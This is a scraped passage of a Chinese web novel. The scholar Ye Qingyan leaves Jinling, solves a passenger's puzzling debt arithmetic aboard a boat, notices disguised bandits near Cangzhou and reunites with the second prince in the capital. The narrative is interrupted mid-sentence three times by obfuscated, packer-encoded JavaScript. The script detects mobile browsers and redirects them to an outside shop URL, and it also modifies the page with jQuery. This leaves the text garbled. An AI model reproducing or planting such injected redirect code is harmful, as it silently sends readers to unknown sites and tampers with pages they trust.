叶青言全部受之,没有丝毫不耐,但她也只是受之,并未言语道歉,显然是不觉得自己此举有错。 两位老人看出叶青言的想法,对她的态度十分欣赏,也因此愈发地看重起她来。 陈阁老更加用心地为她解惑。 短短几日,叶青言便学到了很多,尤其是对为官之路的认识,文章方便亦有精进。 时间不紧不慢地过着,很快就到了叶青言北上归京的日子。 离开之前,叶青言最后去了一趟陈府,她们如往常一般闲叙畅聊,没人提及分别,但几人都知分别在即。 用过了午膳,叶青言将自己最近所写的文章递给陈阁老,静待对方点评。 但陈阁老这次没有抬手去接,而是笑着摇了摇头,说道:“思砚小友你有主见,有想法,亦知自己的问题所在,又肯躬身于行,我已无甚可以再指点你。” 顿了顿,陈阁老又道,“对将要到来的春闱,你只需大胆去写便是,将心中所学尽数付诸笔下,你会得偿所愿的。” 陈阁老毫不掩饰自己的夸赞。 叶青言收回文章,闻言,起身一揖,坚定应道:“晚生定不负老先生所望。” 照理之后当讲些话别之言,可叶青言却久久也说不出辞别的话来。 因为她知道,此一别过后,她将春闱入仕,短期内不会再踏足金陵。 ——这一别极有可能就是永别。 和同龄人相比,叶青言确实要更加成熟稳重。 她不是个普通的少年人,但也终究还是个少年人。 世间很多事情对于她这个年纪的人来说还是太过沉重了一些,比如离别,比如生死。 这些沉重的东西压得叶青言有点难以承受,甚至有点艰于呼吸。 “小友不必怅然。”陈阁老见状,笑着说道,“天下岂有不散之筵席?老夫到了晚年还能有你这样一个忘年之交,已是上天待我不薄,此番别后,只盼再闻小友名时,你已名动天下,如此才不枉你我相交一场。” 话毕,陈阁老直接冲叶青言摆了摆手。 “回去吧,好好去走你未来的路,只记住四字,莫忘初心。” 这是最后的提点。 叶青言郑重颔首:“晚生谨记。” 两人交谈的时候,陈老夫人始终安静地坐在一旁。 见两人话毕,陈老夫人站了起来,将手中拿着的一幅画卷递出,言道:“这是我们夫妻二人赠予你的临别之礼。” 叶青言举起双手接过:“多谢老夫人。” 陈老夫人笑看着叶青言,悠悠说道:“我一直觉得一代应该要比一代强,我和老头子得比我们父母那辈的人强些才能算活过,而我们孩子这辈要比我们这辈更强,你这一代人则一定要比他那一代强大,唯有如此,一代强过一代,我们的家,我们的国,我们的人民才能更好地生存下去。” 这话可谓震聋发聩。 叶青言看着陈老夫人,内心的情绪澎湃翻涌,久久不能平静。 陈老夫人说这话的时候,时间已经来到黄昏,落日将要完全没入地底,此时的金陵有些暗,却并不令人悲伤,反而很像清晨,就像陈老夫人的这番话一般,充满了新生的力量。 “思砚小友,要快些顶起来,顶天立地地顶起来。”陈老夫人笑着拍了拍叶青言的肩膀,“去吧,好好去闯,为自己,也为天下百姓,闯出一片新天地。” 说完这句话后,陈老夫人也冲叶青言摆了摆手。 叶青言闭上眼睛,努力稳住胸间正在激荡的情绪,许久,她深吸了一口气,随后睁开双眼,郑重地三作鞠躬,而后告辞离去。 回到客栈,叶青言展开画卷,发现这竟是一幅长亭别柳图。 柳下有只麋鹿,远处群山巍峨,云雾缭绕。 云雾深处,隐隐可见朝霞正在升起。 近景细腻婉约,远山挥洒大气,一眼就能看出这画是出自两个人之手,却又恰到好处融为一体。 叶青言怔怔望着画卷上那轮即将升起的朝阳,脑中如跑马灯似地闪现着相交至今,陈阁老夫妇曾教导她的那些话。 最后定格在有一日黄昏,陈阁老负手望着夕阳,然后开口对她说的那话句:“你出生簪缨,但既选择了文人之路,便莫要忘了,读书人的手是做什么的。” 叶青言彼时只道明白,并未深想,而今却是有了答案。 读书人的手,是用来执笔的。 无论是针砭时弊,书写治国良策,还是为百姓伸冤造福,都少不了一支笔。 当年,陈阁老尚是一方小吏,就敢为百姓良田无故被地方士绅强占一事而上府城状告地方县令与当地士绅同流合污。 入朝为官后更是为了大庆百姓鞠躬尽瘁。 陈阁老的手中所握的,是一支用以造福百姓的笔,而今他将那支笔交到了自己这轮即将升起的朝阳之上。 这画上所绘,除了送别,还有阁老夫妇对她的所有期许。 他们倾囊相授,所求的不过是一种情怀的传承。 想明白了这一点,叶青言心中敬意更甚。 此番归京,叶青言没有如来时那样独身上路,而是选择跟着北上的镖局一起出发。 正是冰天雪地的时候,越往北走冰冻的情况越甚,镖局常年在外走镖,最是知晓哪些道路可以通行,再者跟着镖局一起,路上也能有个照应。 时下的镖局除了护送货物外,也有专门护送人的营生,就是收费极高。 但这对叶青言来说并不是问题,在黑衣暗卫的建议下,叶青言找到了金陵最大的镖局——广盛镖局。 从金陵到京城最快是走水路,由于天气尚冷,北方部分河流冰冻,所以镖局采用的是水陆并用的赶路方式,先从金陵坐船到济宁,然后再改走陆路继续往北,如此只需一月便能到达天子脚下。 镖局将客船的启航时间定在正午时分。 叶青言准时来到码头,上船前,她看到码头上有卖梅花盆栽的小贩,犹豫了片刻,叶青言上前买下一盆骨里红梅。 以此为礼,想来殿下也会欢喜。 今日有大风,宜出航。 船帆扬起,立即便被江风吹得呼呼鼓起,人在船上亦是衣袍如飞。 叶青言很久没有坐船了,一时站在船头不愿回舱。 有船上的管事见状,忙走过来问道:“可要小的先将公子的行李送到房间?” 管事口中所说的行李,是叶青言随身携带的包袱和怀里刚买的梅盆,其他物品,她都已委托镖局先行运送上京。 叶青言摇头:“不用。” 管事的闻言,也不多留,微一躬身,便离了开去。 叶青言只在船头站了小一会儿就回去了船舱。 此处风大,久站对身体不好,春闱在即,她又还在路上,必须时刻注意气候温度,确保自己不会因此生病。 知晓叶青言喜静,黑衣暗卫特意为她订了靠近船尾位置的船舱,此处远离人群,推窗便是江海。 船舱不大,但只住叶青言一人,倒也还算宽敞方便。 将船舱整个打量一圈,确认自己熟悉舱内的环境后,叶青言用温水简单清洗了一下手和脸,便褪去外衣上床午睡了。 这一觉,叶青言只小睡了约莫三刻钟的时间,起来后她给自己泡了一杯浓茶,然后便开始读书。 她这次上船只随身携带了四书五经。 书是陈阁老赠的,上面还有他的一些注释。 陈阁老没有参加过科考,也不是传统意义上的大儒,他是能臣,是干吏,也正是因此,使得他对儒家经典的见解与普通学者不同,看着他的那些注释,叶青言觉得自己对四书五经又有了新的感悟。 她如痴如醉地读着书籍,浑然忘记了自己身在何处。 但这只是叶青言一个人的状态,对于船上的其他乘客,要在一艘不大的客船上待半个多月,每日不是在房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226702|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间里休息,就是在甲板上活动……简直是场折磨。 正月的江河实在没什么看头,刚开始还能感受一下碧水蓝天的难见场景,两三天的新奇劲过后,也就没有了意思,而且还冷。 所以出发不到三日,便有乘客觉得日子枯燥。 人无聊的时候,容易心气不顺,心气不顺,又易产生冲突。 因此船上各种小冲突不断。 好在会选在此时出门的大都是有急事要办的人,所以并未闹出什么大的动静。 对于这些小摩擦,管事的一般都是睁一只眼闭一只眼,不同生活习性的人长期住在一块,难免矛盾,此时堵不如疏,这是船员管事们长期行船所总结出的经验。 叶青言丝毫没受船上的气氛感染,她按照自己一早制定的起居计划,有条不紊地读书、锻炼。 每天清晨,她依旧是五时起床,到甲板上锻炼身体,跟着是用早饭,上午和下午是读书练字,中途抽出两个时辰用来午睡、放松,入夜后,推窗看一会儿夜空,而后伴着浪涛声入眠。 起航之初,管事的还在心中默默对叶青言这样的活动轨迹嗤之以鼻,认为对方只是一时兴起,坚持不了几日。 然而随着时间一天天过去,他发现自己着实太低估对方的毅力。 小小年纪便有如此耐心,实在是了不起,管事的对此敬佩不已。 这日晚间,众人齐聚在船舱里用晚饭。 有三名相熟的大叔一边吃饭一边对账,也不知怎么的,对着对着,三人竟吵了起来,还越吵越大声。 叶青言等其他还在用饭的人无奈将他们争吵的内容听了个全。 原是其中一位穿黄衣大叔因这一趟花费超出预期,便向同行的另外两位大叔各借了100两应急。 借来的200两,黄衣大叔在金陵花去了170两,剩余的30两,除他自己留下10两以备不时之需外,先归还另两人各10两,剩下的各90两,打算等回去后再还。 这会儿他们是在商量写欠条的事。 黄衣大叔粗略算了一下,他欠另两位大叔各90两,共计180两。180两加上自己手里的10两,就是190两…… 那还有10两呢? 他明明各借了100两,所欠账与剩余的钱相加,应该得是200两才对,好端端得怎么会少了10两? 黄衣大叔百思不得其解,他算了一遍又一遍,最后得出的结论都是190两。 另外两位大叔表示不用管那么多,他们只要黄衣大叔再还他们90两就行。 但黄衣大叔算不明白,他觉得自己无端端丢了10两。这年头10两可不是个小数目,不弄清楚他不愿意写欠条。 另两位大叔无法,只能跟着一起算。 他们怀疑是黄衣大叔将在金陵的花费算错了,于是帮着黄衣大叔先算了一遍所有费用,最后证实他在金陵的确花了170两,这个并未算错。 然后黄衣大叔还了两人各10两,自己留下10两。 其中一位大叔算了一下,各还了10两,是20两,还欠180两。 180两加已经还的20两,再加黄衣大叔手中剩下的10两,共210两。 竟还多了10两…… 三人看着这个账目,都傻眼了,一脑袋的浆糊,这账怎么不是少了,就是多了。 有正用晚饭的其他人听了,也跟着算了一遍,无一不是多了就是少了。 为了这不知道多还是少了的10两,三位大叔越说越大声。 他们三个是同乡,也是好友,但亲兄弟都要明算账,何况他们还不是兄弟,这事必须掰扯清楚。 事涉钱财,船上管事在没有弄清状况的情况下也不好贸然打断。 三人争论的愈加激烈,再加旁边还有无聊的船客煽风点火,就在三人被起哄声搞得怒气上头,想要动手的时候,人群里突然穿来一阵清冽的打断声。 “三位听我一言。” 众人闻声看去。 说话的人自然就是叶青言。 66. 船上风波 叶青言本不想管这事,可眼见事情越闹越不可控制,也只能站出来调和。 “三位大叔,你们别吵了,我来帮你们算。”叶青言放下筷子起身道。 众人不约而同,都看向了叶青言。 尤其是吵得正起劲的三人,猛地被人打断,心情十分不爽,可一见说话的人是叶青言,纷纷压下心头怒火。 眼前少年是个读书人,这一点船开没两日众人就都知晓了,毕竟经常看她在船舱里读书。 读书人脑子聪明,或许真能解决这个问题。 黄衣大叔忍着脾气,声音略带生硬说道:“小子,你说你帮我们算,好,你给我们算算,要是算错了,你赔我10两!” 黄衣大叔这话说得很没有道理,旁边围观的人听了纷纷出言指责。 黄衣大叔也知自己没理,被众人指责得满脸通红。 有好事之徒见状,眼珠一转,当即吊儿郎当地出言嘲讽道:“你这人好生不讲道理,帮你还帮出不对了?那这小兄弟要是算对了,你赔不赔他10两?” “你……你……”黄衣大叔指着说话的那人,一时不知如何反击。 那人见状继续嘲讽道:“怎么?不敢了,你不会是想欺负人小兄弟面皮薄吧?” 其实方才说的赔钱那些话,只是黄衣大叔气怒之下的随口之言,可被众人这样一说,还真像他欺负人小兄弟,黄衣大叔想解释,却又不知如何开口。 “小兄弟你听我跟你说,这事儿你千万别管,小心惹祸上身。”这话是对叶青言说的,说得极其语重心长。 叶青言转头看向说话之人,微微一笑,却是没有如了对方的愿,而是言道:“无妨,我相信大叔只是随口一说。”顿了顿,叶青言笑笑再道,“出门在外,还是和气生财些得好。” 讲话那人一怔,面色显得有些尴尬。 这人看似好心,可叶青言却从他的眼里看到了跃跃欲试,他显然是不想自己帮助大叔们解决问题,刚刚在人群里起哄让三位大叔动手的人中就有他,还是起哄的最厉害的其中之一。 是个好事之徒。 黄衣大叔闻言忙道:“对对对,我就是随口一说,绝对没有要欺负小兄弟你的意思,你别听他们瞎说。” 叶青言点了点头,道:“我明白的,三位大叔,来,我帮你们算一下,什么10两不10两的,都先不要说。” 那可是10两银子!他们吵来吵去就是为了这10两,怎么能不说? 大叔听了这话很生气,可想到刚才的事情,再看眼前少年好脾气的模样,也跟着没有了脾气。 另外两位借钱的大叔见叶青言果真出面了,忙凑上前道:“这位小兄弟,麻烦你帮我们理一理,这到底是怎么回事。” 叶青言没有多话,直接算了起来:“这位大叔向你们两人各借了100两,所以总共借了200两,大叔在金陵用了170两,200两减去170两,就只剩下30两,而这剩下的30两,大叔已经还给两位各10两,还剩下10两留做不时之需。” 说到这里,叶青言停顿了一下,问:“对吗?” 这是很简单的算法,根本不用叶青言重复,但听她说了,三人还是点头说对。 叶青言勾了勾唇,说道:“如此账面不是很清晰吗?借了两个100两,还了两个10两,那么就只欠两个90两,大叔你只需再还两个90两,欠的债就一笔勾销了,其他的哪里需要考虑那么多?” 三个大叔一愣,围观人员也是一愣。 这读书人说得对啊,每个人欠100两,已各还10两,只需再还90两,那账就一笔勾销了,何必考虑那么多? 黄衣大叔被叶青言这么一说,气得只想跳脚,他也知道自己向两位好友各借了100两,先各还了10两,回家后再各还90两。 可他手里明明还有10两,这算怎么回事? 他就是算不出来为什么少10两或者多10两,才心里难受, 他必须要弄清楚为什么,他要答案,而不是稀里糊涂地还钱。 黄衣大叔没好气说道:“小兄弟啊,我是想问为什么会少10两,或者多10两,不是问要还多少钱。这算来算去,总算不对,你给我算一下,解释一下。” 另外两位大叔闻言,也反应了过来,忙道:“对啊小兄弟,麻烦你从头帮我们算一遍,为什么我们算来算去,就是算不对账?” 叶青言神色依然平静,说道:“你们刚刚的算法我都听到了,你们那样算,完全就是想得太多。考虑得多了,脑子就容易混乱,账也容易算错。” 叶青言这话,指明了在说黄衣大叔想太多。 黄衣大叔脸一下涨得通红,不过他需要解释,便忍了下来,小兄弟说什么就是什么吧,只要能帮他把账单算清楚就行。 叶青言继续道:“总共借了200两,已经用了170两,给自己留了10两,也就是说大叔你总共拥有的是180两。” 三个大叔脑瓜子一转,相视了一眼。 对啊,已经用掉的170两,加上还留在手里的10两,就是180两。 围观群众这会儿也想明白了过来,连忙说:“对对对,小兄弟你说的对,180两加上已经还了的20两正正好就是200两。” 叶青言看着黄衣大叔,道:“大叔你刚刚那种欠账180两加剩余10两等于190两的算法完全是错误的,欠的钱与你所剩的钱并非同一个条件,这两者是不能相加的,欠的180两与已经还的20两是同一个条件,而剩余10两与已经还得20两和已经花费的170两才是同一个条件。” 黄衣大叔大睁着眼睛,原来如此! 对!确实如此! 这时,有围观的群众好奇问道:“一趟就花了170两,这是都花哪儿了啊,莫不是去秦淮河了。” 其他人听了,纷纷笑了起来。 黄衣大叔被臊得脸色通红,没好气说道:“我花哪了关你们什么事!” “问问而已嘛,你这么激动做甚,不会真去了吧?” “哈哈哈哈。” “我看是去了,想不到大叔你还挺风流的。” “……” 黄衣大叔听了简直想打人,他才没去什么秦淮河。 叶青言无奈地扫过旁边众人,黄衣大叔之所以算错账,就是想得太多,就跟旁边围观的这些人一样,扯来扯去,扯些无关的事情,扯到自己的思路不清晰了,所以就算错账了。 “所以多出10两的算法,也是因为将不同条件的银两加一起了?”另一位多算了10两的大叔沉吟着,一会儿,问道,“小兄弟你也给我理一理。” 叶青言“嗯”一声,思考了片刻,说道:“大叔总共还了你们20两,那么还剩下180两未还,再加上大叔手里的10两,总共210两,这种想法也是错的。” 顿了顿,叶青言继续说:“大叔总共借了200两,还了20两,所以需要再还180两。跟刚刚说的一样,这180两包括了大叔已经花费的170两和手里现有的10两。” 众人听到后,又是恍然。未还债的180两,是由已经花费的170两和手里现有的10两组成的,如果算账的时候再加上手里的10两,那这10两便重复算了,怪不得多了10两了。 众人佩服地看着叶青言,心中纷纷赞叹读书人就是读书人,脑瓜子就是好使。 解决完三位大叔的借银问题,叶青言离开找到了客船管事,向他提议解决船客们整日无所事事的问题。 维持人类社会的本质是什么? 是法律? 是制度? 还是道德? 不,都不是。 真正维持人类社会发展的是故事! 人类从开始思考的那一刻,便学会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232262|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了讲故事。 起先是杜撰一个共同的神灵,通过各种传说故事将这个神灵的神通告之给每一个人,只要做了坏事,就会受到神灵的惩罚。 随着文字的出现,故事的传播范围更大,这里的故事或许可以称呼另一个名字,叫做秩序,更书面一些,也可以称为制度、信仰,或者文化。 …… 话题扯得有些远了,但叶青言给管事的所提的建议就是讲故事,更通俗点说,就是安排个说书先生给众人说书取乐。 有了乐子便不会自己再去找乐子,起码大多数人不会,这样能大大减少船上乘客之间冲突。 管事的心中一合计,也觉得此计可行,但依旧面露难色。 “可是公子,船上并没有说书先生。” 叶青言:“那就多安排几个。” 管事的:“……这,还请公子赐教。” 叶青言:“安排说书的目的不是为了让船客们听书,而是转移他们的注意力,一人说得不行,那就换一个人上,甚至可以让他们相互比赛,让来听得船客们做裁判,也可以让船客们自己下场参加,总之你记住,你的目的是转移众人的注意力。” 管事的先是一怔,随即大喜,能做到一个镖局的管事,自然不是愚蠢之辈,他很快就明白了叶青言的意思,当即谢过,而后下去安排。 第二天用午饭的时候,叶青言就听坐旁边的人说早上有两个船客无聊说书,说着说着争了起来,管事的出面安抚,最后从争吵变成了船上乘客说书大赛的事。有意向的都可以参加,赢的人可得船上管事所贡献的一壶好酒。 “不就是一壶酒,谁稀罕?” “这是酒的问题吗?” “……” “你就说你参不参加吧。” “我当然参加,我讲的可比那两小子好多了,他们讲的那都是些什么啊,还好意思吵!” “我也准备参加,反正闲着也是闲着,这船还得再开十来天呢。” “那你准备讲什么?” “你想干嘛?咱们现在可是竞争关系,你少打听。”说完快速扒完碗里的饭便起身离开了。 “……不就一壶酒,至于嘛……”说完也快速扒完自己碗里的饭离开。 …… 叶青言一边吃饭,一边听着众人讨论,心下暗暗松了口气。 终于可以清静些日子了,旁人吵闹虽与她无关,但她到底不是个聋子,也不是听不见。 船只沿河一路北上,时间一日日往前,却未等到春江水暖,反而越往北走,天气越寒,在济宁下船的时候,众人又将厚厚的衣裳穿了起来。 渡口处寒风凛冽,然随着时令进入二月,地面被冻出的冰雪渐渐开始消融,人走在上面需万分小心。 叶青言常年锻炼,下盘很稳,倒是走在她身前不远一名书生打扮的男子因为脚滑差点摔跤,叶青言见状,眼疾手快地伸手扶住对方。 男子稳住身形后连连道谢。 这样的路面,若是不慎滑到,极有可能顺势滑进河里。 大冷天的落水,那可是要命的事儿。 叶青言没有多说什么,只摆摆手示意他小心看路。 在前面带路的管事知晓前因后果后也是一阵后怕,要真出了人命,不说他们船队,他这个领头的第一个就得吃不了兜着走。 为此,管事的也是对着叶青言一顿感谢。 出了这样的插曲,其他人走起路来不觉越加谨慎。 好在接应的马车就停在前方不远的地方,一众人没走几步就上了马车。 车上有热水有暖炉,倒是不用担心冻到。 帮忙将叶青言的梅花盆栽送上马车后,管事便告辞离去忙活了。 接下来的陆路将由另一波人护送,他虽也会跟着一起进京,却不再管事,需得将客人们的一些性情告知接下来的镖队,免得到时出现什么不必要的摩擦。 67. 途中异常 太祖初年,天下大定,为了确保南方官员的奏章能顺利到达京师,太祖特命工部督造了一条经过山东,通往南北的驿路,并在驿路途中设立驿站。 到了高宗年间,经太祖、太宗两位皇帝的励精图治,朝局逐渐步入正轨,百姓的生活也渐趋稳定,民间商业开始蓬勃发展。南方富饶,为了更便利南方的商品流入京师,太宗下令将这条官道整修一番,并放开限制,允许文人、商队等也可在驿站下榻。 此令一出,使得这条驿路成了大庆境内最为繁忙的官道,没有之一。 此官道在山东境内的驿站就高达13个,是大庆所有省府之最,两个驿站之间的距离基本也都在六十里上下。 只除了昌平驿到新桥驿,这两个驿站相隔较远,中间有一百里的路程。 这样的距离能确保在官道行走的众人每晚都可以在驿站下榻。 这也是镖局会选择在济宁府下船走陆路的最主要原因。 官道平缓,不用担心山匪问题,只是越往北走,天气越冷,尤其是过了昌平驿后,官道上的积雪越来越厚,好在天空已经不再飘雪,地上的冰雪也有了慢慢消融的趋势。 再加上镖局所选的都是上等良驹,马车也都是特别定制的宽大车轮,所以不用担心轮子陷进雪里出不来的问题。 镖队所安排的赶路时间也非常合理,每天的行程基本固定,就是出发的时间不定,镖师们会按照驿站之间的距离来推算出发时间,每日基本都能在酉正之前到达下榻的驿站。 驿站内的食宿也由镖队全包,当然若有人想吃得更好,或住得更好,就得自己再加银子了。 车队一路往前,很快就过了山东地界的最后一个驿站——太平驿站。 离开山东,距离京师便只剩下不到两日的路程。 就在众人以为自己很快就能回到京师的时候,一路相安无事的车队,在即将进入沧州地界的一处峡谷里遇到了拦路打劫的山匪。 车队瞬间躁动起来,随镖的旅客们或瑟瑟发抖,或不可置信,甚至有跃跃欲试的,但都被镖队的镖师给安抚了下来。 护送的镖头对此丝毫不慌,他似乎早预料到会发生这样的情况,非常利落地上前与对方谈判。 叶青言悄悄撩开车帘打量前方拦路的山匪。 此地距离京师极近,竟也有人敢拦路打劫……再看镖头的反应,这群人似乎盘踞在此许久…… 究竟是谁如此大胆? 莫不是住在附近的村民?他们也如桃源村村民那样有冤难申,最后落草为寇。 不,不对…… 据她所知,河北、山东一带近十年内无任何灾荒,附近的村民无论如何也不至于吃不饱饭到落草为寇的地步。 这其中绝对还有其他隐情。 隔着车窗,叶青言将目光落在前方那群山匪的身上,而后微微一怔。 这些拦路打劫的山匪看着与普通的农家汉子无异,但他们的眼神明显要比普通的农家汉子狠厉很多。 这群人绝对不是普通的农家汉子! 若是未曾游学之前,叶青言还不敢如此断定,但眼下的她却可以确定,因为她在桃源村见过真正落草为寇的农家汉子的眼神,绝非如此冷血。 那这群人为何要打扮成农家汉子的模样?他们是想要掩饰什么? 不知镖头是怎么谈的,山匪最后只收了一个钱袋子便带着人离开了。 队伍中人对此十分好奇,有人大声问出自己的疑问。 镖头并未细说,只笑言这是他们镖队走南闯北的秘密,不能外传。 镖头都这样说了,旁人自然不好再问。 叶青言看了看山匪离去的方向,又看了看队伍前方带路的镖头,若有所思。 车队继续前行,直到中途休息的时候,众人也依旧热烈讨论着这件事情,大家都很好奇那些山匪的身份。 镖头对此仍旧没有表示,倒是有几个随行护卫的镖师模棱两可地说了几句都是生活所迫的话语。 众人一听,唏嘘了几句,之后便没在谈及此事。 叶青言状似无意地向那位对她十分照顾的船上管事探听情况。 对方闻言笑笑,直言自己并不知情。 叶青言沉吟了片刻,便确定对方说的是真话,根据她这一路上的观察,这名管事应只负责水路护送事宜,陆路的一应事宜并不归他所管,所以他不知陆路状况,也是情有可原。 正午的阳光热烈而暖媚,将空气中的寒意驱散大半。 叶青言一直认为,人生在世数十载,光阴易逝,须珍惜,所以既然深究没有意义,那便不该再浪费时间,于是她回去车厢,继续看书学习。 不知过了多久,车队再次动了起来。 车外天寒地冻,车内温暖如春,无聊枯燥的赶路行程因为书本而变得生动有趣起来。 叶青言一直看着手里的书卷,直至暮时,车轮停止转动,她才终于放下书本下车。 天边的暮色并不如血,反而如瀛海驿站前的馄饨摊上的炉火一般,温暖至极。 河间瀛海驿,这是河北境内最大的驿站,此地距离京城不过百里,商业极为发达。 以瀛海驿站为中心的大街小巷上一片热闹,无数欲进京的行人都会选择在此落脚。 从瀛海驿过雄县归义驿、涿州涿鹿驿便是京师地界,而后走大路,过永定河,便能进入广安门。 这是回京前的最后一夜。 叶青言罕见地没有立即进去驿站,而是在馄饨摊上找了个位置坐下,又问摊贩要了一碗馄饨面。 有注意到这一幕的同行人员诧异地看了叶青言一眼,显然对叶青言没有马上回房看书的举动感到好奇,但也只是好奇,并没多说什么。 不少随行的镖师也在馄饨摊前坐下,大声地说着笑。 叶青言见状,笑着起身将众人的馄饨银子都给付了,还另给了五两碎银让其中一个镖师去打些酒来。 “天冷,大伙儿喝了暖暖身。” 镖师们很是惊讶,但秉着有便宜不占王八蛋的原则,纷纷拱手向叶青言道谢。 叶青言顺势同他们坐到了一起。 可几人还没聊上几句,镖头展氏便也坐了过来。 镖师们看到镖头,眼睛瞪得大大的,有点不敢相信。 他们不了解叶青言,却很了解展镖头,展镖头从不跟他们一起吃饭,更何况是这种路边小摊,这是太阳打西边出来了? 叶青言不着痕迹地将一众镖师的震惊看进眼里,笑着对展镖头道:“展镖头可也要来一碗馄饨?我请客。” “大冷天的能吃上一碗热腾腾的馄饨暖身也挺好,那就谢过叶公子了。”展镖头笑着拱了拱手,又道,“叶公子今日怎么没有回去客房看书,反而跟我们这些粗人坐一起吃馄饨?” “展镖头客气了,不过一碗馄饨,哪里值当说谢。”叶青言笑着说道,而后微微顿了顿,像是思考,也像是斟酌,片刻后说道,“我此番进京,其实是为了参加今年的春闱,所以才会一路都没有停止学习。” 众人闻言无不震惊,便是展镖头也不例外。 他们都知道叶青言是读书人,却不知对方竟已是举人老爷,她看着明明如此年轻。 比起普通镖师,展镖头要想得更多一些。 春闱在今年的三月初九,眼下已是二月中旬,待考的举人哪个不是早早进京,以逸待劳,哪有这时候才往京城赶的? 能有此魄力的,不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236227|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对自己极有把握,就是背后势力颇大,不论哪种,都不是他一个镖头可以得罪的。 再者对方既要进京科考,那便是有意入仕…… 没等展镖头继续沉思,就听叶青言温声再道:“眼看就要进京了,我也该放松一下,弦一味绷紧不是好事,偶尔也需要舒缓一下心神,所以啊,我就在这儿坐坐,听众人讲讲话。” “原来如此。”展镖头闻言先是一怔,随即笑着道,“不想我们这些粗人竟与举人老爷同路了这么长时间,实在幸运。” 其他镖师闻言纷纷点头称是。 叶青言笑言客气。 这时,去买酒的镖师回了来,众人纷纷满上,叶青言以还要看书为由选择了以水代酒。 镖师们也能理解。 一杯下肚,众人便天南地北的聊了起来,话题五花八门,比如家乡何处,押镖路上的有趣见闻等等,当然中途也提到了早前所遇的山匪,但也是感慨一句民生艰难便没再多说。 一直紧绷着神经的展镖头见叶青言并未深究,很是松了口气,他一直担心这读书人是为了探听山匪一事故意买酒套话……如今看来是他想得多了,对方真得只是闲聊一二。 又同众人畅聊了好长一会儿,叶青言方才起身回去客房。 从金陵回京的这一路,叶青言一直都很低调,能不说话就不说话。 因为旅途中形形色色的人都有,不知根不知底的,最好还是不要出声。少说多看,方为上上之道。 这次之所以表明举人的身份,一来是京师就在眼前,再往前走,沿途便可见到京营二十一卫外出训练的军士,不必再担心安全问题。二来如展镖头所料,是为了早前所遇到的山匪来探一探镖队的底。 经她这一番查探,得出了三个结论。 一、那群土匪绝非受生活所迫的普通人,镖头对那群人的身份应有一定的了解,而镖师们却不知情,这也是为什么看到自己与镖师们坐在一起,展镖头会立马前来的原因。 二、那群山匪并非什么反对朝廷的势力组织,这点从展镖头得知她的举人身份,却没有慌张神情上可以看出。 三、综上所得,可以得出那群山匪极有可能背靠朝中某股势力在河北境内开展某些危害朝廷的行动。 至于背后之人是谁,叶青言也已经有了推论。 除了高氏一族不做第二人选,首先只有他们有这个能力,其次高氏发源自河北,祖坟就在信都。而他们遇袭的地方就在信都与瀛州交界。 所有高氏到底在那做了什么?带着这样的疑问,叶青言梳洗入眠。 休整一夜,马车继续前行。 马车之中,叶青言难得的没有看书,她背靠着软榻,看着车窗外不断倒退的景色,心中满是感慨。 她从去年九月中旬出发,到今日重回京师,中途花费了近五个月的时间。 走的时候还是初秋,田地里到处可见忙忙碌碌的百姓,而眼下大地一片萧条,道路两旁的积雪正慢慢融化,树木枯黄。 去时,叶青言是走的另一条官道,沿着那条官道一路南下,途中有大量的古街市、古码头、古村落、书院、祠堂、庙宇、牌坊、古桥、驿站、古井、凉亭、石刻等等。这一路走来,她算是真正开阔了眼界,日后笔下所写,终于不再是纸上谈兵。 车辆一路驰行,很快就到了广安门外。 看着有些偏西的阳光所照射下的皇城,叶青言心中一片宁定。 城内炊烟袅袅,顺着风声,她似乎已经听见街道上孩子们奔跑时的银铃笑声。 一切都让她感到心安。 众人随着展镖头从广安门进入京师,等来到广盛镖局京城分局,签字画押做完交接工作后,方可各自散去。 68. 久别重逢 “阿言。” 一声轻唤从左侧方向传来,这让刚走出广盛镖局的叶青言顿住了脚步。 这个声音……叶青言心头微微一动,下意识转过身去,被她捧在身前的骨里红梅因为她的动作,洋洋飘落了好几朵即将凋谢的殷红梅花。定睛望去,只见左侧前方站着一人,头戴银冠,青丝顺垂,百草霜色的衣袍剪裁的十分得体,绣着银纹的衣摆平直地束入腰间系带,衬得他宽肩窄腰,气势斐然。 此时这人正冲着叶青言冁然微笑,翩翩公子,赏心悦目。 这人当然就是林翊,大庆朝的二皇子。 林翊含笑望着叶青言,他定定地看着她,看着她被身前红梅映衬得有些艳丽的脸,不知为何,突然变得有些紧张,有些失神,直到在她眼底看到了那抹熟悉的宁静淡然,一直游离不定的心绪才终于安定下来。 是阿言没错。 他的阿言,真得回来了。 